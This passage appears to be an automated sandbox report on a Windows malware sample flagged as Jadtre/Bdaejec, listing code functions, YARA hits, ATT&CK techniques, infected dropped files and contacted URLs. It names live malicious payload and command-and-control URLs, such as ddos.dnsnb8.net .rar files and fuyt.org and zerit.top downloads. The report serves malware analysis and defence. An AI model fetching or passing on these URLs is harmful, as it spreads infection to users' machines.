Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	4_2_00432B6D
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	4_2_00432FAD
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_004335E7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,	4_2_0042BF17
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	6_2_023D0AB6
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	6_2_023BC8B7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	6_2_023C394D
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	6_2_023C49EA
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	6_2_023C3F87
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	7_2_02250AB6
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	7_2_0223C8B7
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	7_2_0224394D
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	7_2_022449EA
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	7_2_02243F87

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_004064FE GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004064FE

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

4_2_00419F90

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_0042FE47 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

4_2_0042FE47

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E139F GetVersionExA,LookupPrivilegeValueA,GetCurrentProcessId,

1_2_002E139F

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: lgYdZ.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lgYdZ.exe PID: 6644, type: MEMORYSTR

Remote Access Functionality

Yara detected Bdaejec

Source: Yara match	File source: Process Memory Space: lgYdZ.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: lgYdZ.exe PID: 6644, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	3 Native API	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	12 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	22 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Services File Permissions Weakness	211 Process Injection	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Services File Permissions Weakness	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	88%	Virustotal		Browse
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	95%	ReversingLabs	Win32.Virus.Jadtre
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	100%	Avira	W32/Jadtre.B
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\tmpDC32.tmp	100%	Avira	W32/Jadtre.D
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\Temp\lgYdZ.exe	100%	Avira	TR/Dldr.Small.Z.haljq
C:\Program Files\7-Zip\Uninstall.exe	100%	Avira	W32/Jadtre.B
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Avira	W32/Jadtre.B
C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\lgYdZ.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Uninstall.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	95%	ReversingLabs	Win32.Virus.Jadtre
C:\Users\user\AppData\Local\Temp\lgYdZ.exe	92%	ReversingLabs	Win32.Trojan.Madeba

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://login.microsoftonline.com/	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k1.rar	100%	URL Reputation	malware
http://www.youtube.com/	0%	URL Reputation	safe
http://ddos.dnsnb8.net:799/cj//k2.rar	100%	URL Reputation	malware
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
https://we.tl/t-0S984cQ4B3	0%	Avira URL Cloud	safe
http://Passport.NET/purpose::PURPOSE_IDP_BINDId	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rar	100%	Avira URL Cloud	malware
https://mail.google.com	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exez	0%	Avira URL Cloud	safe
http://Passport.NET/purposeg	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rarKU	100%	Avira URL Cloud	malware
https://outlook.live.com/owa/wopibootstrapper	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E	100%	Avira URL Cloud	malware
http://Passport.NET/purpose	0%	Avira URL Cloud	safe
https://we.tl/t-0S984cQ4i	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ef	100%	Avira URL Cloud	malware
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7Ej	100%	Avira URL Cloud	malware
https://g.live.com/8seskydrive/HomePageUrl	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rare2	100%	Avira URL Cloud	phishing
https://www.office.com/	0%	Avira URL Cloud	safe
http://www.reddit.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonZ	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonVk	0%	Avira URL Cloud	safe
https://products.office.com/en-US/sharepoint/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rard	100%	Avira URL Cloud	malware
https://api.2ip.ua/h	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonV	0%	Avira URL Cloud	safe
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.	0%	Avira URL Cloud	safe
https://www.yahoo.com/	0%	Avira URL Cloud	safe
https://we.tl/t-0S984cQ4	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rarC:	100%	Avira URL Cloud	phishing
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewse	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rarxT	100%	Avira URL Cloud	phishing
https://api.2ip.ua/A	0%	Avira URL Cloud	safe
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rar	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.jsonZ&$S4	0%	Avira URL Cloud	safe
http://fuyt.org/files/1/build3.exe$runrue	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.raruW	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rarP2X_	100%	Avira URL Cloud	phishing
https://www.msn.com:443/en-us/feedre_	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json6	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonN	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rarC	100%	Avira URL Cloud	phishing
https://api.2ip.ua/0	0%	Avira URL Cloud	safe
https://api.2ip.ua/6	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonK	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.phpp	0%	Avira URL Cloud	safe
https://www.google.com/	0%	Avira URL Cloud	safe
http://Passport.NET/purpose::PURPOSE_IDP_BINDela	0%	Avira URL Cloud	safe
https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/ui.win32.js.map/d6bb35bc608af2672a5b746ba	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsons/	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k3.rar:	100%	Avira URL Cloud	malware
http://zerit.top/dl/build2.exe	100%	Avira URL Cloud	phishing
http://www.amazon.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/(	0%	Avira URL Cloud	safe
https://outlook.office365.com/owa/wopibootstrappervk	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar/	100%	Avira URL Cloud	phishing
https://api.2ip.ua/geo.jsonal	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E&first=true	100%	Avira URL Cloud	malware
http://www.twitter.com/	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exeS	0%	Avira URL Cloud	safe
https://dc.services.visualstudio.com/v2/track	0%	Avira URL Cloud	safe
https://www.office.com/.p	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://www.office.com/pn	0%	Avira URL Cloud	safe
https://api.login.yahoo.com/oauth2/request_auth	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar7W	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k3.rarfC:	100%	Avira URL Cloud	malware
http://fuyt.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://api.login.yahoo.com/oauth2/get_token	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonC?	0%	Avira URL Cloud	safe
https://api.2ip.ua/	0%	Avira URL Cloud	safe
http://www.nytimes.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsonYS-R	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json;1Z	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k4.rar:T	100%	Avira URL Cloud	malware
https://api.2ip.ua/geo.json	0%	Avira URL Cloud	safe
http://zerit.top/dl/build2.exe$run	0%	Avira URL Cloud	safe
https://api.2ip.ua/Root	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k1.rara	100%	Avira URL Cloud	phishing
http://fuyt.org/files/1/build3.exeC	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.jsondll	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k2.rar5C:	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k1.rarsC:	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k1.rar7W	100%	Avira URL Cloud	phishing
http://ddos.dnsnb8.net:799/cj//k4.rar	100%	Avira URL Cloud	phishing
http://www.wikipedia.com/	0%	Avira URL Cloud	safe
https://api.2ip.ua/geo.json~?	0%	Avira URL Cloud	safe
http://ddos.dnsnb8.net:799/cj//k5.rarC:	100%	Avira URL Cloud	phishing
http://www.live.com/	0%	Avira URL Cloud	safe
http://fuyt.org/test1/get.php	100%	Avira URL Cloud	malware
http://ddos.dnsnb8.net:799/cj//k2.raroW	100%	Avira URL Cloud	phishing
http://www.google.com/	0%	Avira URL Cloud	safe
https://www.linkedin.com/	0%	Avira URL Cloud	safe
https://www.office.com/s:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ddos.dnsnb8.net	44.221.84.105	true	false	unknown
fuyt.org	92.246.89.93	true	true	unknown
api.2ip.ua	188.114.96.3	true	false	unknown
zerit.top	92.246.89.93	true	true	unknown
56.126.166.20.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ddos.dnsnb8.net:799/cj//k3.rar	true	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	true	URL Reputation: malware	unknown
http://ddos.dnsnb8.net:799/cj//k5.rar	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k2.rar	true	URL Reputation: malware	unknown
https://api.2ip.ua/geo.json	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k4.rar	false	Avira URL Cloud: phishing	unknown
http://fuyt.org/test1/get.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.microsoftonline.com/	NTUSER.DAT.11.dr	false	URL Reputation: safe	unknown
http://fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000794000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2641348272.0000000000747000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	NTUSER.DAT.11.dr	false	URL Reputation: safe	unknown
https://outlook.live.com/owa/wopibootstrapper	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://Passport.NET/purpose::PURPOSE_IDP_BINDId	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://Passport.NET/purpose	NTUSER.DAT.11.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k2.rarKU	lgYdZ.exe, 00000012.00000002.1831813285.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000012.00000003.1830630425.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
